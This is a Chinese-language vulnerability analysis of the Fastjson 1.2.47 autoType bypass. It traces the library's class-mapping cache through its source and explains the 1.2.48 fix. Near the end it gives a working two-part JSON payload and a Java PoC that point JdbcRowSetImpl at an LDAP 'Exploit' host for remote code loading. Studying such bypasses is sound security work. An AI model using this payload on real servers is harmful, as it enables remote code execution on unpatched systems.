这个函数里面是会往deserializers这个mapping中放入一些特定类:java.awt.*java.time.*java.util.Optional*java.nio.file.PathMap.Entry.class、以及在服务器META-INF/services/目录下存放的class文件,还有枚举类的一些判断。对于一些数组,集合,map等再调用putDesserializer(这也是另一个会影响到desesrializers这个map的类)放入deserializers这个mapping中。

image-20200706163202276

在这个类中对于类名有着严格的要求和限定,不太行。看下一个。

  1. putDeserializer
1
2
3
4
5
com.alibaba.fastjson.parser.ParserConfig#putDeserializer

public void putDeserializer(Type type, ObjectDeserializer deserializer) {
deserializers.put(type, deserializer);
}

代码极其简单,但是只在ParserConfig#getDeserializerinitJavaBeanDeserializers类中使用过。但是后者是一个初始化函数,我们同样不可控输入值。

那么我们好像发现我们的输入不可以改变deserializers这个mapping的值,从而自然也不能进一步在checkAutoType中被get读取出来,也就绕过不了。

这个deserializers在checkAutoType方法中存在的意义应该是直接放行一些常用的类,来提升解析速度。

那换一条路看看TypeUtils.getClassFromMapping(typeName)

TypeUtils.getClassFromMapping(typeName)

先看getClassFromMapping

1
2
3
4
5
6
7
//这个map是一个hashmap
private static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);
...
public static Class<?> getClassFromMapping(String className){
//很简单的一个mapping的get
return mappings.get(className);
}

按照套路去寻找影响这个mappings的put方法。搜索mappings.put,在下面这两个方法中有找到:

1
2
com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)

addBaseClassMappings这个方法,它是一个没有传参的方法….这样我们就没有一个可控的参数去控制其中的内容。

image-20200706163801667

前者是一个static静态代码块:

1
2
3
static{
addBaseClassMappings();
}

后者是一个clearClassMapping方法:

1
2
3
4
public static void clearClassMapping(){
mappings.clear();
addBaseClassMappings();
}

没戏,不可控。

再看另一个有mappings.put的位置TypeUtils.loadClass,我们需要详细看看这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
//判断className是否为空,是的话直接返回null
if(className == null || className.length() == 0){
return null;
}
//判断className是否已经存在于mappings中
Class<?> clazz = mappings.get(className);
if(clazz != null){
//是的话,直接返回
return clazz;
}
//判断className是否是[开头,1.2.44中针对限制的东西就是这个
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//判断className是否L开头;结尾,1.2.42/43中针对限制的就是这里,但都是在外面限制的,里面的东西没变
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
//1. 我们需要关注的mappings在这里有
try{
//输入的classLoader不为空时
if(classLoader != null){
//调用加载器去加载我们给的className
clazz = classLoader.loadClass(className);
//!!如果cache为true!!
if (cache) {
//往我们关注的mappings中写入这个className
mappings.put(className, clazz);
}
return clazz;//返回加载出来的类
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
//2. 在这里也有,但是好像这里有关线程,比较严格。
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
//同样需要输入的cache为true,才有可能修改
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
//3. 这里也有,限制很松
try{
//加载类
clazz = Class.forName(className);
//直接放入mappings中
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

可以发现如果可以控制输入参数,是可以往这个mappings中写入任意类名的(从而绕过autocheck的黑白名单)。

看看这个函数在什么地方被引用。

image-20200706184302813

在这里面只需要找到符合条件的即可,也就是第三个参数cache=true,发现在1206行,跳转过去看:

image-20200706184824853

但跟进去发现这里是在调用自己内部本身,继续依次看,发现一个敏感接口:

1
/com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName):334

image-20200706190449802

跟进去执行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;

//4. clazz类型等于InetSocketAddress.class的处理。
//我们需要的clazz必须为Class.class,不进入
if (clazz == InetSocketAddress.class) {
...
}

Object objVal;
//3. 下面这段赋值objVal这个值
//此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
//当parser.resolveStatus的值为 TypeNameRedirect
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
//lexer为json串的下一处解析点的相关数据
//如果下一处的类型为string
if (lexer.token() == JSONToken.LITERAL_STRING) {
//判断解析的下一处的值是否为val,如果不是val,报错退出
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
//移动lexer到下一个解析点
//举例:"val":(移动到此处->)"xxx"
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);
//此处获取下一个解析点的值"xxx"赋值到objVal
objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
//当parser.resolveStatus的值不为TypeNameRedirect
//直接解析下一个解析点到objVal
objVal = parser.parse();
}

String strVal;
//2. 可以看到strVal是由objVal赋值,继续往上看
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
//不必进入的分支
}

if (strVal == null || strVal.length() == 0) {
return null;
}

//省略诸多对于clazz类型判定的不同分支。

//1. 可以得知,我们的clazz必须为Class.class类型
if (clazz == Class.class) {
//我们由这里进来的loadCLass
//strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

那么经过分析,我们可以得到的关注点又跑到parser.resolveStatus这上面来了

  1. parser.resolveStatus == TypeNameRedirect 我们需要json串中有一个“val”:”恶意类名”,来进入if语句的true中,污染objVal,再进一步污染strVal。我们又需要clazz为class类来满足if判断条件进入loadClass。

    所以一个json串的格式大概为"@type"="java.lang.Class","val":"恶意类名" 这样一个东西,大概如此。

  2. parser.resolveStatus != TypeNameRedirect进入if判断的false中,可以直接污染objVal。

    再加上clazz=class类,大概需要一个json串如下:"被屏蔽的type"="java.lang.Class","恶意类名"

至于哪里调用了MiscCodec.java#deserialze,查看引用处其实可以发现这是一个非常多地方会调用到的常用函数,就比如解析过程中的com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)-384行

image-20200706193256474

定向构造payload

那么在得到如上信息中,我们就不必一直大海摸虾。之前拿到了两个分支paylaod,拿一个可能的paylaod,试试水看看能不能往TypeUtils.getClassFromMapping(typeName)里面的mapping污染我们的恶意类。

1
2
3
4
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}

先是日常进入解析主要函数com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

这里有我们的三个在乎的点,如下顺序:

1
2
3
4
5
6
7
8
9
10
public final Object parseObject(final Map object, Object fieldName) {
...
//先是checkAutoType这个万恶的过滤函数
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
...
//ResolveStatus的赋值
this.setResolveStatus(TypeNameRedirect);
//污染TypeUtils.getClassFromMapping的触发处
Object obj = deserializer.deserialze(this, clazz, fieldName);
}

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)这个分析过了。

image-20200706195524423

step out之后继续跟进,可以看到,给ResolveStatus赋值了TypeNameRedirect,这样到deserialze里面就可以确定了分支,与预计吻合。

image-20200706200040175

继续跟,就到了第三个关注点deserialize函数:

image-20200706200201139

果断跟进去!

image-20200706201609999

继续跟,恶意类被解析赋值!

image-20200706201735423

跳过后续的一堆if判断,来到符合条件的clazz对象,跟进去:

image-20200706201836682

默认的cache为true,接下来就会进入三个mapping.put条件,跟下去,看看哪个能触发:

第一个,发现classloader是null,被skip掉了。

image-20200706202152124

来到第二个,跟进去,发现被加入到map中了,sum+1:

image-20200706202451082

img

第二个if中,帮我们加载了一个classloader,再因为上一层的cache默认为true,就真的执行成功了mappings.put放入了我们的恶意类名!

完美穿针引线,一环扣一环,往mappings中加入了我们的恶意类。

老习惯,附上调用栈:

img

定稿payload

之前看到其他博客说,一开始payload是分成两截,因为服务器的mappings自从加过恶意类之后,就会一直保持,然后就可以随便打了。

但是之后为了不让负载均衡,平摊payload造成有几率失败,就变成了下面这个:

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}

payload:

1
2
3
4
5
6
7
8
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}

image-20200706202953984

本次Fastjson反序列化漏洞也是基于checkAutoType()函数绕过的,并且无需开启AutoTypeSupport,大大提高了成功利用的概率。

绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

回顾一下审计的过程:

我们进入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

  1. checkAutoType方法拿到Class.class
  2. 设置了ResolveStatus为TypeNameRedirect,决定了之后deserialze中的if走向
  3. 进入deserializer.deserialze

com.alibaba.fastjson.serializer.MiscCodec#deserialze

  1. parser.resolveStatus为TypeNameRedirect,进入if为true走向
  2. 解析”val”:”恶意类名”,放入objVal,再传递到strVal
  3. 因为clazz=Class.class,进入TypeUtils.loadClass,传入strVal

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

  1. 添加默认cache为true,调用loadClass

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)

  1. 三个改变mappings的第一处,由于classLoader=null,不进入
  2. 三个改变mappings的第二处,classLoader=null,进入;获取线程classLoader,由于cache为true,添加mappings。

关于AutoTypeSupport

可以看到实际上还是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来攻击利用的,因此除了JDK版本外几乎没有限制。

但是如果目标服务端开启了AutoTypeSupport呢?经测试发现:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

调试分析

受AutoTypeSupport影响的版本

受AutoTypeSupport影响的版本为1.2.25-1.2.32,本次调试的是1.2.25版本。

开启AutoTypeSupport时

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

发现报错:

image-20200706204309011

调试发现,在第一部分JSON数据的解析中,checkAutoType()函数的处理过程和前面是差不多的。能够成功通过该函数的检测,因此问题不在这,继续往下调试。

在第二部分JSON数据的解析中,@type指向的”com.sun.rowset.JdbcRowSetImpl”在checkAutoType()函数中会被dentList黑名单中的”com.sun.”匹配到,因此会直接报错显示不支持:

image-20200706205306004

未开启AutoTypeSupport时

当不开启AutoTypeSupport时就不会进入该黑白名单校验的代码逻辑中,就不会被过滤报错。

这里,我们换个不受AutoTypeSupport影响的且未使用哈希黑名单的版本来方便我们进行对比查看,这里选了1.2.33,看下checkAutoType()中对应的代码:

image-20200706211622134

对比黑名单校验的if判断语句条件就知道了,为什么后面的版本不受影响,那是因为通过&&多添加了一个判断条件TypeUtils.getClassFromMapping(typeName) == null,但是第二部分JSON内容中的类已经通过第一部分解析的时候加载到Map中缓存了,因此该条件不成立从而成功绕过:

1
2
3
4
5
// 受AutoTypeSupport影响的版本
if (className.startsWith(deny)) {

// 不受AutoTypeSupport影响的版本
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {

不受AutoTypeSupport影响的版本

不受AutoTypeSupport影响的版本为1.2.33-1.2.47,本次调试的是1.2.47版本。

未开启AutoTypeSupport时

在调用DefaultJSONParser.parserObject()函数时,其会对JSON数据进行循环遍历扫描解析。

在第一次扫描解析中,进行checkAutoType()函数,由于未开启AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于@type执行java.lang.Class类,该类在接下来的findClass()函数中直接被找到,并在后面的if判断clazz不为空后直接返回:

image-20200706212531680

image-20200706212622129

往下调试,调用到MiscCodec.deserialze(),其中判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量:

image-20200706212816333

接着判断clazz是否为Class类,是的话调用TypeUtils.loadClass()加载strVal变量值指向的类:

image-20200706212914209

在TypeUtils.loadClass()函数中,成功加载com.sun.rowset.JdbcRowSetImpl类后,就会将其缓存在Map中:

img

在扫描第二部分的JSON数据时,由于前面第一部分JSON数据中的val键值”com.sun.rowset.JdbcRowSetImpl”已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测:

img

开启AutoTypeSupport

由前面知道,开启AutoTypeSupport后,在checkAutoType()函数中会进入黑白名单校验的代码逻辑。

在第一部分JSON数据的扫描解析中,由于@type指向java.lang.Class,因此即使是开启AutoTypeSupport先后进行白名单、黑名单校验的情况下都能成功通过检测,之后和前面的一样调用findClass()函数获取到Class类:

img

关键在于第二部分JSON数据的扫描解析。第二部分的@type指向的是利用类”com.sun.rowset.JdbcRowSetImpl”,其中的”com.sun.”是在denyList黑名单中的,但是为何在检测时能成功绕过呢?

我们调试发现,逻辑是先进行白名单再进行黑名单校验,在黑名单校验的if判断条件中是存在两个必须同时满足的条件的:

1
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。

1.2.48 修复

1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。

运行会报错:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了。

对比代码。修改了cache这一处。(右侧为1.2.47代码)

本来应该进入一个loadClass(两个参数)的方法,然后默认cache为true,在进入三个参数的loadClass。

现在这边直接指定过来三个参数loadClass同时cache为false。

img

img

对于之前提到了第三处mapping不需要校验,1.2.48也不行了:

img

因此,即使未开启AutoTypeSupport,但com.sun.rowset.JdbcRowSetImpl类并未缓存到Map中,就不能和前面一样调用TypeUtils.getClassFromMapping()来加载了,只能进入后面的代码逻辑进行黑白名单校验被过滤掉:

img

1.2.48之后

在这个通杀payload之后,就又恢复了一片平静的,在服务端手动配置关闭白名单情况下的黑名单与绕过黑名单的战争。这个战争估计随着代码不断迭代,也是不会停止的。

参考:

mi1k7ea

lalajun